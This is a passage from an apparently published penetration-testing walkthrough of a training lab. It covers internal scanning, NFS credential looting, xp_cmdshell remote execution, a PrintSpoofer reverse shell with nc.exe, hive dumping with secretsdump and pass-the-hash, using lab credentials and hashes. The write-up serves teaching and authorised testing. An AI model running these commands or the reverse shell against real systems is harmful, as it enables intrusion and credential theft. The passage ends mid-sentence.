./nmap --open -iL live_hosts - -Nmap scan report for 172.16.8.3 -PORT STATE SERVICE -53/tcp open domain -88/tcp open kerberos -135/tcp open epmap -139/tcp open netbios-ssn -389/tcp open ldap -445/tcp open microsoft-ds -464/tcp open kpasswd -593/tcp open unknown -636/tcp open ldaps - -Nmap scan report for 172.16.8.20 -PORT STATE SERVICE -80/tcp open http -111/tcp open sunrpc -135/tcp open epmap -139/tcp open netbios-ssn -445/tcp open microsoft-ds -2049/tcp open nfs -3389/tcp open ms-wbt-server - -Nmap scan report for 172.16.8.50 -PORT STATE SERVICE -135/tcp open epmap -139/tcp open netbios-ssn -445/tcp open microsoft-ds -3389/tcp open ms-wbt-server -8080/tcp open http-alt -``` - -> [!info]+ Command Breakdown -> `ris:Scan2` -> 1. Uploading a **static Nmap binary** (via the techniques from [File Transfers](https://academy.hackthebox.com/module/24)) and scanning locally on `dmz01` is far faster than tunnelling a full-range TCP scan through `proxychains` -> 2. **--open -iL live_hosts**: only report open ports, reading targets from the file produced by the ping sweep -> 3. *Interpretation:* -> - `172.16.8.3` — Kerberos + LDAP + kpasswd = **Domain Controller**, unlikely to be directly exploitable but worth a NULL session check -> - `172.16.8.20` — Windows host, HTTP **and** NFS is an unusual and interesting combination -> - `172.16.8.50` — Windows host with a non-standard `8080/http-alt` worth a look - -> [!example]+ PayloadsAllTheThings — Pivot-Local Nmap Reference -> `ris:Command` -> [PayloadsAllTheThings — Network Discovery](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Discovery.md) recommends separating port discovery from deeper service enumeration. A static binary on `dmz01` preserves raw-packet support that Proxychains would remove. -> ```bash -> ./nmap -Pn -sS -p- --min-rate 1000 -iL live_hosts -oA internal_tcp_all -> ./nmap -Pn -sC -sV -p53,80,88,111,135,139,389,445,464,593,636,2049,3389,8080 -iL live_hosts -oA internal_services -> ``` -> 1. **First pass:** produces a complete port inventory without multiplying script traffic across 65,535 ports -> 2. **Second pass:** fingerprints only the open services and runs default NSE checks against them -> 3. **`-oA`:** keeps normal, grepable, and XML evidence together for later extraction and reporting -> 4. *Remove the uploaded binary and output files at closeout after securely transferring the required evidence.* - ---- - -### Step 8 — Active Directory Quick Hits: SMB NULL Session `ris:LockPassword` - -> [!info]+ Operator Context — Establish Domain Context Without Credentials -> `ris:LockPassword` -> 1. **Starting state:** internal hosts expose SMB, but the domain name, server roles, share policy, and anonymous permissions may be unknown. -> 2. **Execution:** route SMB-capable tooling through the pivot and attempt unauthenticated/guest negotiation once against selected hosts. -> 3. **Mechanism:** SMB negotiation reveals dialect and server/domain metadata before or during session setup; a null session requests resources without user credentials. -> 4. **Read the result:** domain/hostname leakage is not the same as anonymous share access. A session may connect yet enumerate nothing due to authorisation. -> 5. **Handoff:** populate exact DNS/domain names, identify likely DC/file servers, and reserve credentialed enumeration for recovered accounts. -> 6. **Modern note:** SMB signing, guest restrictions, and tool behaviour differ by Windows/Samba version, so preserve complete output rather than only success markers. - -```bash -proxychains enum4linux -U -P 172.16.8.3 - -[+] Server 172.16.8.3 allows sessions using username '', password '' -Domain Name: INLANEFREIGHT -Domain Sid: S-1-5-21-2814148634-3729814499-1637837074 -[+] Host is part of a domain (not a workgroup) - -[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED -[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED -[E] Unexpected error from polenum: -[E] Failed to get password policy with rpcclient -``` - -> [!info]+ Command Breakdown -> `ris:LockPassword` -> 1. **-U -P**: request the user list and password policy over an anonymous (NULL) SMB session -> 2. A NULL session is **accepted** (confirming SMB signing/hardening gaps worth noting), but user and policy enumeration are both blocked with `ACCESS_DENIED` -> 3. *Interpretation: this is a partial dead end — the domain name and SID leak (useful for later SID-based attacks), but no user list or lockout policy to plan a spray around. Fall back to Kerbrute against a guessed username list, or continue enumerating other hosts first* - -> [!failure]+ Dead End — Tomcat on 172.16.8.50 `fas:CircleXmark` -> `fas:CircleXmark` -> 1. Port `8080` on `172.16.8.50` is the latest Tomcat 10, no public pre-auth exploits available -> 2. Brute forced the Tomcat Manager login with `auxiliary/scanner/http/tomcat_mgr_login` through Metasploit/proxychains against a standard credential list — every attempt failed, including `tomcat:changethis` -> 3. On an *internal* assessment, an exposed Tomcat Manager login with no successful brute force is normal and not worth a finding on its own — reserve that for an externally-exposed instance or a successful login leading to a JSP web shell - -> [!tip]+ enum4linux vs enum4linux-ng `fas:Lightbulb` -> The original `enum4linux` is Perl, unmaintained, and its output (as seen in Step 8) is littered with `Use of uninitialized value` warnings. [enum4linux-ng](https://github.com/cddmp/enum4linux-ng) is a Python rewrite with structured (JSON/YAML) output and clearer error handling: -> ```bash -> proxychains enum4linux-ng -A 172.16.8.3 -> ``` - -> [!example]+ PayloadsAllTheThings — AD and SMB Enumeration Reference -> `ris:Command` -> [PayloadsAllTheThings — Active Directory Attack](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md) links its maintained [AD enumeration](https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-adds-enumerate/) and internal-share playbooks. A NULL session can leak the domain name, SID, shares, users, or password policy even when some RPC calls are denied. -> ```bash -> proxychains enum4linux-ng -A 172.16.8.3 -> proxychains nxc smb 172.16.8.3 -u '' -p '' --shares --users --pass-pol -> proxychains smbclient -N -L //172.16.8.3 -> proxychains rpcclient -U '' -N 172.16.8.3 -c 'lsaquery;enumdomusers;getdompwinfo' -> ``` -> 1. **Use several clients:** SMB servers often permit one information class while denying another -> 2. **Domain SID:** remains valuable for RID cycling and later SID-based validation even when usernames are blocked -> 3. **Password policy:** must be known before any password-spray decision -> 4. *Record partial exposure accurately; an accepted anonymous session is not the same as unrestricted anonymous enumeration.* - ---- - -### Step 9 — Enumerating `172.16.8.20`: DotNetNuke (DNN) `ris:Global` - -> [!info]+ Operator Context — Correlate the Web App With Exposed Storage -> `ris:GlobalLine` -> 1. **Starting state:** internal scanning identifies a web application on `172.16.8.20` and NFS/RPC-related exposure may reveal its deployment files. -> 2. **Execution:** browse the application through the pivot, fingerprint DNN/version/features, enumerate exports, and inspect readable files offline. -> 3. **Mechanism:** the application and share are separate services but may expose the same deployment content; configuration files can bridge anonymous storage access into authenticated application access. -> 4. **Read the result:** a DNN administrator credential in a share has high provenance value; verify which environment/account it belongs to before using it. -> 5. **Handoff:** authenticate to DNN minimally and identify administrative functionality capable of querying the backend rather than immediately uploading arbitrary tooling. -> 6. **Finding chain:** report exposed NFS/configuration secrets separately from the impact of using those secrets in the application. - -```bash -proxychains curl http://172.16.8.20 -``` - -> [!info]+ DNN Reachability Check — Run on the Attacker Through SOCKS -> `ris:GlobalLine` -> 1. Run this on the attacker after the SSH SOCKS tunnel and `proxychains.conf` are active. -> 2. Proxychains redirects curl's TCP connection through `dmz01` to internal host `172.16.8.20:80`. -> 3. HTML returned in the terminal proves end-to-end HTTP reachability, but a browser is easier for application interaction. -> 4. Configure the browser to the same SOCKS listener or use a proxy-aware browser profile; do not assume system-wide routing changed. -> 5. If curl fails, first test `proxychains nc -nv 172.16.8.20 80` to isolate transport from HTTP behaviour. - -Browsing through the SOCKS proxy configured in Firefox (Step 4) confirms a live [DotNetNuke](https://www.dnnsoftware.com/) CMS install: - -[dnn-homepage-172-16-8-20.png](/downloads/pentest-workflow/dnn-homepage-172-16-8-20.png) ([SHA-256](/downloads/pentest-workflow/dnn-homepage-172-16-8-20.png.sha256) · [GPG signature](/downloads/pentest-workflow/dnn-homepage-172-16-8-20.png.sha256.asc)) - -> [!info]+ Command Breakdown -> `ris:Global` -> 1. **DotNetNuke (DNN)**: a .NET CMS with a long history of critical vulnerabilities and rich built-in admin functionality — think "the WordPress of .NET" -> 2. Registering a new account triggers an admin-approval email workflow rather than instant access — a realistic dead end, but worth attempting on every engagement since misconfigured instances do sometimes auto-approve -> 3. `http://172.16.8.20/Login?returnurl=%2fadmin` is the direct admin login path, noted for later once credentials are found - -```bash -proxychains showmount -e 172.16.8.20 - -Export list for 172.16.8.20: -/DEV01 (everyone) -``` - -> [!success]+ Finding — Anonymous NFS Export `ris:Key` -> `ris:Key` -> 1. **showmount -e**: lists NFS exports without any credentials -> 2. `/DEV01 (everyone)` means **any host** can mount this share with no authentication whatsoever -> 3. Proxychains cannot relay the NFS mount protocol itself, but root SSH access on `dmz01` (Step 3) lets us mount it directly from the pivot host instead - -```bash -root@dmz01:/tmp# mkdir DEV01 -root@dmz01:/tmp# mount -t nfs 172.16.8.20:/DEV01 /tmp/DEV01 -root@dmz01:/tmp# cd DEV01/DNN && cat web.config - -<username>Administrator</username> -<password> - <value>D0tn31Nuk3R0ck$$@123</value> -</password> -``` - -> [!success]+ Finding — DNN Administrator Credentials in a File Share `ris:Key` -> `ris:Key` -> 1. **Severity:** High. Two findings here: `Insecure File Shares` (anonymous NFS write/read access) and `Sensitive Data on File Shares` (cleartext admin credentials sitting in a `web.config`) -> 2. Report them **separately** even though they're discovered together — if the client later restricts anonymous access but leaves the share readable to all Domain Users, the sensitive-data risk persists independently -> 3. **Credential recovered:** `Administrator:D0tn31Nuk3R0ck$$@123` for the DNN CMS -> 4. *This is textbook pillaging: config files are consistently one of the highest-value targets on any file share — see the Credentialed Enumeration content across the Penetration Tester Path* - -> [!example]+ PayloadsAllTheThings — NFS Exposure Reference -> `ris:Command` -> [PayloadsAllTheThings — Linux Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md) includes NFS and `no_root_squash` abuse. This target's immediate problem is anonymous disclosure rather than root squashing, but the same export must be checked for both access control and UID-mapping weaknesses. -> ```bash -> showmount -e 172.16.8.20 -> mkdir -p /mnt/dev01 -> mount -t nfs -o ro,nolock 172.16.8.20:/DEV01 /mnt/dev01 -> find /mnt/dev01 -type f \( -iname '*.config' -o -iname '*.xml' -o -iname '*.ps1' -o -iname '*.kdbx' \) -print -> nmap -p111,2049 --script nfs-showmount,nfs-ls,nfs-statfs 172.16.8.20 -> ``` -> 1. **Read-only mount:** reduces accidental modification while validating disclosure -> 2. **Targeted file search:** prioritises common credential-bearing configuration and automation files -> 3. **NSE checks:** capture export and filesystem evidence without depending on an interactive mount -> 4. *If `no_root_squash` is present, test it only within scope because it can convert a writable export into host-level privilege escalation.* - -> [!tip]+ Always Try a Packet Capture When You Have Root `fas:Lightbulb` -> ```bash -> root@dmz01:/tmp# tcpdump -i ens192 -s 65535 -w ilfreight_pcap -> ``` -> 1. With root SSH access on a dual-homed host, running `tcpdump` costs nothing and occasionally captures cleartext credentials traversing the internal segment -> 2. This capture came back empty (no interesting traffic on this VLAN at this moment), but it is standard practice on an Internal Penetration Test to run this periodically -> 3. Open the resulting `.pcap` in Wireshark back on the attack host — see [Intro to Network Traffic Analysis](https://academy.hackthebox.com/module/94) for a deeper dive - ---- - -### Step 10 — Attacking DNN: SQL Console RCE `fas:Terminal` - -> [!info]+ Operator Context — Database Administration to OS Execution -> `fas:Terminal` -> 1. **Starting state:** DNN administrator access exposes a SQL console connected to Microsoft SQL Server under a database principal. -> 2. **Execution:** first query database identity/version/role, then determine whether `xp_cmdshell` exists and whether the principal may enable/use it under the assessment rules. -> 3. **Mechanism:** `xp_cmdshell` asks the SQL Server service to create an OS process. The resulting Windows identity is the SQL service account or configured proxy, not the web user. -> 4. **Read the result:** returned `whoami` output proves OS execution; a successful SQL statement alone proves only database control. -> 5. **State change:** enabling advanced options or `xp_cmdshell` alters server configuration. Capture original values and restore them after proof. -> 6. **Handoff:** enumerate the new Windows token/privileges and network context to determine whether local escalation is available. - -Logging in at `/Login?returnurl=%2fadmin` with `Administrator:D0tn31Nuk3R0ck$$@123` succeeds as the **SuperUser** account: - -[dnn-superuser-users-panel.png](/downloads/pentest-workflow/dnn-superuser-users-panel.png) ([SHA-256](/downloads/pentest-workflow/dnn-superuser-users-panel.png.sha256) · [GPG signature](/downloads/pentest-workflow/dnn-superuser-users-panel.png.sha256.asc)) - -```sql -EXEC sp_configure 'show advanced options', '1' -RECONFIGURE -EXEC sp_configure 'xp_cmdshell', '1' -RECONFIGURE -``` - -> [!info]+ Command Breakdown -> `fas:Terminal` -> 1. DNN exposes a raw SQL console under **Settings**. `xp_cmdshell` is disabled by default in SQL Server and must be explicitly re-enabled through `sp_configure` -> 2. No output on success is normal for these statements — absence of an error is the confirmation -> 3. Once enabled, arbitrary OS commands run in the format `xp_cmdshell '<command>'` - -```sql -xp_cmdshell 'whoami' -``` - -> [!info]+ SQL Console Test — Execute One Harmless OS Command -> `fas:Terminal` -> 1. Paste this SQL statement into DNN's administrative SQL console after `xp_cmdshell` is enabled. -> 2. Do not run it in Bash or a Windows command prompt; SQL Server interprets it. -> 3. `xp_cmdshell` asks the SQL Server service to create an OS process containing `whoami`. -> 4. The returned account name proves SQL-to-OS execution and identifies the service context for privilege enumeration. -> 5. Record/restore the original `xp_cmdshell` configuration after the minimum proof. - -[dnn-sql-console-xp-cmdshell-whoami.png](/downloads/pentest-workflow/dnn-sql-console-xp-cmdshell-whoami.png) ([SHA-256](/downloads/pentest-workflow/dnn-sql-console-xp-cmdshell-whoami.png.sha256) · [GPG signature](/downloads/pentest-workflow/dnn-sql-console-xp-cmdshell-whoami.png.sha256.asc)) - -> [!info]+ Command Breakdown -> `ris:Key` -> 1. Output: `nt service\mssql$sqlexpress` — code execution confirmed as the SQL Express service account -> 2. This is a lower-privileged service context, so the next step is still privilege escalation, but RCE is already achieved and reportable as `Command Injection` / `Insecure Deserialization`-class **High** finding -> 3. *A second, independent RCE path is also available*: modifying DNN's **Allowable File Extensions** (Settings → Security → More → More Security Settings) to permit `.asp`/`.aspx` uploads, then dropping a web shell via the File Management page — useful as a backup if the SQL console path is ever patched - -> [!example]+ PayloadsAllTheThings — MSSQL xp_cmdshell Reference -> `ris:Command` -> [PayloadsAllTheThings — MSSQL Server Cheat Sheet](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet.md) and its maintained [`xp_cmdshell` section](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/mssql-server-cheatsheet/#command-execution-via-xp_cmdshell) cover the same SQL-to-OS execution path used by DNN's administrative console. -> ```sql -> EXEC sp_configure 'show advanced options', 1; -> RECONFIGURE; -> EXEC sp_configure 'xp_cmdshell', 1; -> RECONFIGURE; -> EXEC master..xp_cmdshell 'whoami /all'; -> EXEC master..xp_cmdshell 'hostname && ipconfig'; -> ``` -> 1. **Advanced options:** must be enabled before SQL Server exposes the `xp_cmdshell` setting -> 2. **Execution context:** defaults to the SQL Server service account for sysadmin callers, so `whoami /all` determines the next privilege-escalation path -> 3. **Evidence:** record the original disabled/enabled state so it can be restored after validation -> 4. *Disable `xp_cmdshell` again at closeout if the engagement changed it; an administrative SQL console capable of enabling it remains the underlying risk.* - -### Step 11 — Privilege Escalation via SeImpersonate `ris:Radar` - -> [!info]+ Operator Context — Token Impersonation to SYSTEM -> `fas:RocketLaunch` -> 1. **Starting state:** OS commands run as a service identity whose token includes `SeImpersonatePrivilege`. -> 2. **Execution:** verify the privilege is present/enabled, transfer the chosen lab binary, start the correct listener if a callback is used, then launch a harmless SYSTEM proof. -> 3. **Mechanism:** the technique coerces or accepts authentication from a privileged service, impersonates the resulting token, and creates a process under that security context. -> 4. **Read the result:** only `whoami`/`whoami /all` showing `NT AUTHORITY\\SYSTEM` confirms elevation. A connection under the original SQL account is not success. -> 5. **Compatibility:** exploit choice depends on Windows build, services, privileges, architecture, and endpoint controls; a missing privilege cannot be repaired with different flags. -> 6. **Handoff:** record the token condition as the root cause, remove tooling, then collect only authorised local secrets. - -Uploading and running a webshell (or continuing via `xp_cmdshell`) confirms `SeImpersonatePrivilege` is enabled for the current context: - -[aspx-webshell-whoami-priv-seimpersonate.png](/downloads/pentest-workflow/aspx-webshell-whoami-priv-seimpersonate.png) ([SHA-256](/downloads/pentest-workflow/aspx-webshell-whoami-priv-seimpersonate.png.sha256) · [GPG signature](/downloads/pentest-workflow/aspx-webshell-whoami-priv-seimpersonate.png.sha256.asc)) - -> [!success]+ Finding — SeImpersonate Enabled `ris:Key` -> `ris:Key` -> 1. `SeImpersonatePrivilege: Enabled` on a service account is the signature of a **JuicyPotato/PrintSpoofer/RoguePotato**-class local privilege escalation -> 2. See the *SeImpersonate and SeAssignPrimaryToken* section of [Windows Privilege Escalation](https://academy.hackthebox.com/module/67) for the full technique background -> 3. Upload both `nc.exe` and `PrintSpoofer64.exe` via the DNN file manager (after re-permitting `.exe` uploads) to `c:\DotNetNuke\Portals\0` - -> [!info]+ Full Token Context — `whoami /all` from the ASPX Webshell -> `ris:Radar` -> The webshell executes inside `w3wp.exe` as the **IIS application pool identity** — a *different* security context from the `nt service\mssql$sqlexpress` account seen via `xp_cmdshell` in Step 10. Two RCE paths, two service identities, both carrying impersonation rights: -> ```text -> User Name SID -> ============================= ============================================================== -> iis apppool\dotnetnukeapppool S-1-5-82-2509074736-2823226210-3382280688-2640573866-389213758 -> -> PRIVILEGES INFORMATION -> ---------------------- -> Privilege Name Description State -> ============================= ========================================= ======== -> SeAssignPrimaryTokenPrivilege Replace a process level token Disabled -> SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled -> SeAuditPrivilege Generate security audits Disabled -> SeChangeNotifyPrivilege Bypass traverse checking Enabled -> SeImpersonatePrivilege Impersonate a client after authentication Enabled -> SeCreateGlobalPrivilege Create global objects Enabled -> SeIncreaseWorkingSetPrivilege Increase a process working set Disabled -> ``` -> 1. **`S-1-5-82-*`**: a virtual app-pool identity — no password, and group membership is only `BUILTIN\Users`, `BUILTIN\IIS_IUSRS`, and `NT AUTHORITY\SERVICE`. Nothing here is administrative, so local privilege escalation is mandatory before any secret collection -> 2. **Network identity ≠ local identity:** when this context touches remote resources it authenticates as the *machine account* `ACADEMY-AEN-DEV$` — a legitimate domain computer. That is why unauthenticated-looking domain queries (`net group /domain`, `net accounts /domain`, `setspn`) all succeed when issued through the webshell with no user credential supplied -> 3. **`Disabled` state does not matter:** a process can enable any privilege present in its token at runtime. Presence in the list is the finding — and `SeImpersonatePrivilege` is not only present but already `Enabled` -> 4. **`SeAssignPrimaryTokenPrivilege` is also held:** together with `SeImpersonate` this satisfies the prerequisite for the entire Potato family (PrintSpoofer, GodPotato, RoguePotato, JuicyPotato), not just one variant -> 5. **Cross-check with `tasklist`:** `spoolsv.exe` (Print Spooler) is running on the host, so PrintSpoofer's named-pipe coercion will work. Had the spooler been disabled, GodPotato/RoguePotato would be the fallback chain -> 6. *Interpretation: every default IIS/MSSQL service context carries `SeImpersonatePrivilege` — treat any webshell or xp_cmdshell foothold on Windows as "one Potato away from SYSTEM" until `whoami /priv` proves otherwise* - - -```cmd -c:\DotNetNuke\Portals\0\PrintSpoofer64.exe -c "c:\DotNetNuke\Portals\0\nc.exe 172.16.8.120 443 -e cmd" -``` - -> [!info]+ PrintSpoofer Command — Run on the Windows DNN Host -> `fas:RocketLaunch` -> 1. Start the Netcat listener in the next block on `dmz01` **before** running this through the web shell or `xp_cmdshell` on `172.16.8.20`. -> 2. Both executable paths must exist on the Windows host; `172.16.8.120` is `dmz01`'s internal address and port 443 must match its listener. -> 3. `-c` tells PrintSpoofer which child command to start after obtaining an impersonated SYSTEM token. -> 4. `nc.exe ... -e cmd` connects back and attaches `cmd.exe` to the socket. -> 5. Tool exit text is insufficient—verify the identity inside the received shell. - -```bash -root@dmz01:/tmp# nc -lnvp 443 - -Connection received on 172.16.8.20 58480 -C:\Windows\system32>whoami -nt authority\system - -C:\Windows\system32>hostname -ACADEMY-AEN-DEV01 -``` - -> [!info]+ Command Breakdown -> `ris:Key` -> 1. **PrintSpoofer64.exe -c**: coerces the Print Spooler service to authenticate to a named pipe we control, then impersonates the resulting SYSTEM token to launch the given command -> 2. Catching the callback **on `dmz01`** (not the attack host directly) avoids needing another pivot hop, since `dmz01` already has a route to `172.16.8.0/23` -> 3. *Interpretation: full `NT AUTHORITY\SYSTEM` on `ACADEMY-AEN-DEV01` — this is our first proper foothold inside the AD domain itself* - -> [!example]+ PayloadsAllTheThings — SeImpersonate / PrintSpoofer Reference -> `ris:Command` -> [PayloadsAllTheThings — Windows Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) links its impersonation-privilege family: PrintSpoofer, JuicyPotato, RoguePotato, and EfsPotato. Tool choice depends on the Windows build, available services, and outbound reachability. -> ```cmd -> whoami /priv -> PrintSpoofer64.exe -i -c cmd -> PrintSpoofer64.exe -c "C:\Path\nc.exe 172.16.8.120 443 -e cmd" -> whoami -> ``` -> 1. **Prerequisite:** the current token must hold `SeImpersonatePrivilege` or `SeAssignPrimaryTokenPrivilege` -> 2. **`-i -c cmd`:** starts an interactive SYSTEM shell when the current channel can support it -> 3. **Callback form:** is more reliable through web or SQL command execution where an interactive child console is invisible -> 4. *Validate the returned identity explicitly; successful tool output alone is not proof of a SYSTEM security context.* - -### Step 12 — Dumping Local Secrets `ris:Key` - -> [!info]+ Operator Context — Offline Windows Secret Extraction -> `ris:Key` -> 1. **Starting state:** SYSTEM permits access to protected registry hives containing local account material and the boot-key inputs required to decrypt it. -> 2. **Target side:** save exact SAM/SYSTEM/SECURITY hive copies to a temporary tracked location; do not modify live registry data. -> 3. **Attacker side:** transfer the copies securely and parse them offline with Impacket so sensitive output is not repeatedly generated on the target. -> 4. **Mechanism:** SYSTEM supplies boot-key material, SAM stores local password hashes, and SECURITY may contain cached/domain/service secrets. They have different formats and reuse value. -> 5. **Read the result:** label every item as local, domain, machine, cached, or LSA secret. A local hash may authenticate only to hosts reusing the same local password. -> 6. **Handoff:** validate one high-confidence domain pair, update provenance, encrypt raw evidence, and remove hive copies from the target. - -```cmd -c:\DotNetNuke\Portals\0> reg save HKLM\SYSTEM SYSTEM.SAVE -c:\DotNetNuke\Portals\0> reg save HKLM\SECURITY SECURITY.SAVE -c:\DotNetNuke\Portals\0> reg save HKLM\SAM SAM.SAVE -``` - -> [!info]+ Hive Export — Run All Three Commands in the SYSTEM Shell -> `ris:Key` -> 1. These run on the compromised Windows host, not the attacker. Do not copy the displayed prompt prefix. -> 2. Save `SYSTEM`, `SECURITY`, and `SAM` because secretsdump needs their related key material together. -> 3. The commands create snapshot files in the current directory; they do not delete or modify the live hives. -> 4. Confirm each reports success and record exact paths before downloading through DNN. -> 5. These files contain sensitive credential material. Delete them from the target after verified transfer and protect them locally. - -Download all three `.SAVE` files via the DNN file manager (after permitting the `.SAVE` extension): - -[dnn-filemanager-sam-security-system-save.png](/downloads/pentest-workflow/dnn-filemanager-sam-security-system-save.png) ([SHA-256](/downloads/pentest-workflow/dnn-filemanager-sam-security-system-save.png.sha256) · [GPG signature](/downloads/pentest-workflow/dnn-filemanager-sam-security-system-save.png.sha256.asc)) - -```bash -secretsdump.py LOCAL -system SYSTEM.SAVE -sam SAM.SAVE -security SECURITY.SAVE - -[*] Dumping local SAM hashes (uid:rid:lmhash:nthash) -Administrator:500:aad3b435b51404eeaad3b435b51404ee:<redacted>::: -mpalledorous:1001:aad3b435b51404eeaad3b435b51404ee:3bb874a52ce7b0d64ee2a82bbf3fe1cc::: -[*] Dumping cached domain logon information (domain/username:hash) -INLANEFREIGHT.LOCAL/hporter:$DCC2$10240#hporter#f7d7bba128ca183106b8a3b3de5924bc -[*] Dumping LSA Secrets -[*] DefaultPassword -(Unknown User):Gr8hambino! -``` - -> [!info]+ Command Breakdown -> `ris:Key` -> 1. **secretsdump.py LOCAL**: parses offline registry hive dumps rather than connecting live over the network — the correct mode when working from exfiltrated `SAM`/`SYSTEM`/`SECURITY` files -> 2. **Local SAM hashes**: local `Administrator` and `mpalledorous` NTLM hashes, useful for pass-the-hash against this specific host -> 3. **Cached domain logon** for `hporter`: a `$DCC2$` hash, crackable offline but not directly usable for pass-the-hash -> 4. **LSA `DefaultPassword`**: `Gr8hambino!` in cleartext with no username attached — this is an [autologon](https://learn.microsoft.com/en-us/troubleshoot/windows-server/user-profiles-and-logon/turn-on-automatic-logon) credential - -> [!tip]+ Current Equivalent — current Impacket entry point -> `fas:Lightbulb` -> This is the same maintained Impacket tool through its current packaged console-script name; older source checkouts exposed the `.py` filename directly. -> ```bash -> impacket-secretsdump LOCAL -system SYSTEM.SAVE -sam SAM.SAVE -security SECURITY.SAVE -> ``` - -> [!example]+ PayloadsAllTheThings — Offline SAM, SYSTEM, and LSA Reference -> `ris:Command` -> [PayloadsAllTheThings — Windows Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) links its `SAM and SYSTEM files`, registry password-search, and autologon sections. Saving all three hives preserves both local hashes and LSA secrets for offline parsing. -> ```cmd -> reg save HKLM\SAM C:\Windows\Temp\SAM.save /y -> reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM.save /y -> reg save HKLM\SECURITY C:\Windows\Temp\SECURITY.save /y -> ``` -> ```bash -> impacket-secretsdump LOCAL -sam SAM.save -system SYSTEM.save -security SECURITY.save -> ``` -> 1. **SAM + SYSTEM:** the boot key in `SYSTEM` decrypts local NTLM material stored in `SAM` -> 2. **SECURITY:** adds cached domain logons, LSA secrets, service credentials, and autologon material -> 3. **Offline parsing:** avoids repeatedly touching LSASS and preserves a reproducible evidence set -> 4. *Hive copies and parsed output contain sensitive client credentials; store, transfer, and destroy them under the engagement data-handling rules.* - -```bash -proxychains crackmapexec smb 172.16.8.20 --local-auth -u administrator -H <redacted> - -SMB 172.16.8.20 445 ACADEMY-AEN-DEV [+] ACADEMY-AEN-DEV\administrator <redacted> (Pwn3d!) -``` - -> [!info]+ Pass-the-Hash Validation — Run on the Attacker -> `ris:LockPassword` -> 1. Replace `<redacted>` with the authorised local Administrator NT hash parsed from SAM and run through the active pivot. -> 2. `--local-auth` is essential: it tells the tool to authenticate against the host's local account database, not the AD domain. -> 3. `[+]` proves authentication; `(Pwn3d!)` indicates the account has administrative SMB privileges according to the tool. -> 4. This validates the local hash. It does not validate the cached `hporter` domain hash shown elsewhere. -> 5. Modern installations use `nxc smb ...`; preserve the exact tool/version in evidence. - -```cmd -c:\DotNetNuke\Portals\0> net user hporter /dom - -User name hporter -Global Group memberships *Domain Users -``` - -> [!success]+ Finding — First Domain Credential Pair `ris:Key` -> `ris:Key` -> 1. Confirmed the local Administrator hash works via CrackMapExec pass-the-hash (`Pwn3d!`) — a durable local-admin fallback on `DEV01` -> 2. Cross-referencing `net user hporter /dom` confirms `hporter` is a real domain account, so the LSA `DefaultPassword` secret found above belongs to it -> 3. **First domain credential pair: `hporter:Gr8hambino!`** — this is the pivot point for 7 - Lateral Movement - -> [!tip]+ Current Equivalent — NetExec (`nxc`) -> `fas:Lightbulb` -> Use the maintained command below for the same step; the Academy command and output remain above for comparison. -> ```bash -> proxychains nxc smb 172.16.8.20 --local-auth -u administrator -H <redacted> -> ``` - -> [!tip]+ CrackMapExec Is Unmaintained — Move to NetExec -> `fas:Lightbulb` -> This walkthrough uses `crackmapexec`, but the project has been unmaintained since 2023. [NetExec](https://github.com/Pennyw0rth/NetExec) (`nxc`) is the actively maintained community fork with the same syntax and additional protocol support: -> ```bash -> proxychains nxc smb 172.16.8.20 --local-auth -u administrator -H <hash> -> ``` -> The `--local-auth`, `-H`, and module flags carry over directly, making the switch nearly frictionless. - - -### Step 13 — Internal and Domain Enumeration from the Webshell `ris:Radar` - -> [!info]+ Operator Context — Read-Only Enumeration Through the ASPX Webshell -> `ris:Radar` -> 1. **Starting state:** code execution on `ACADEMY-AEN-DEV01` (`172.16.8.20`) as `iis apppool\dotnetnukeapppool` (Step 11), with SYSTEM obtainable on demand via PrintSpoofer. -> 2. **Execution:** read-only commands only — `ipconfig /all`, `tasklist /svc`, `arp -a`, `route print`, `net user`, `net localgroup administrators`, `net accounts /domain`, `net group /domain`, `setspn`. None of these modify host or domain state. -> 3. **Mechanism:** domain-scoped queries issued from the webshell authenticate as the machine account `ACADEMY-AEN-DEV$` (Step 11 token analysis), so AD answers them without any recovered user credential. -> 4. **Read the result:** the output of this step is a *target list*, not an exploit — password policy (spray feasibility), group structure (admin model), SPNs (Kerberoast candidates), and hostnames (infrastructure map). -> 5. **Handoff:** everything here feeds 7 - Lateral Movement; the Kerberoast target list is the immediate priority now that `hporter:Gr8hambino!` is validated. - -```cmd -hostname && ipconfig /all && route print && arp -a -``` - -> [!info]+ System and Network Context -> `ris:Global` -> 1. **Hostname/IP:** `ACADEMY-AEN-DEV01`, `172.16.8.20/23`, gateway `172.16.8.1`, DNS `172.16.8.3` (the DC), DNS suffix `INLANEFREIGHT.LOCAL` — domain membership confirmed from the host side -> 2. **`vmxnet3` adapter + `vmtoolsd.exe`/`VGAuthService.exe` in the process list:** the host is a VMware VM — useful context for snapshot/revert risk discussions, no direct attack value -> 3. **`route print` shows only the connected `/23` and a default gateway:** unlike `dmz01`, DEV01 is **not** dual-homed — no new subnets are reachable from here directly. The default gateway may route further, but there is no second NIC to pivot through -> 4. **ARP table:** neighbors are exactly the hosts already known — `172.16.8.3` (DC01), `172.16.8.50` (MS01), `172.16.8.120` (dmz01). No surprise hosts on the segment -> 5. *Interpretation: DEV01 is a leaf node. Further movement depends on credentials and services, not on network position* - -```cmd -net user -net localgroup administrators -``` - -> [!info]+ Local Accounts and Administrators -> `ris:LockPassword` -> 1. **Local users:** `Administrator`, `Guest`, `DefaultAccount`, `WDAGUtilityAccount`, and `mpalledorous` — matching the SAM dump from Step 12 exactly (RID 1001) -> 2. **Local admins:** only local `Administrator` and `INLANEFREIGHT\Domain 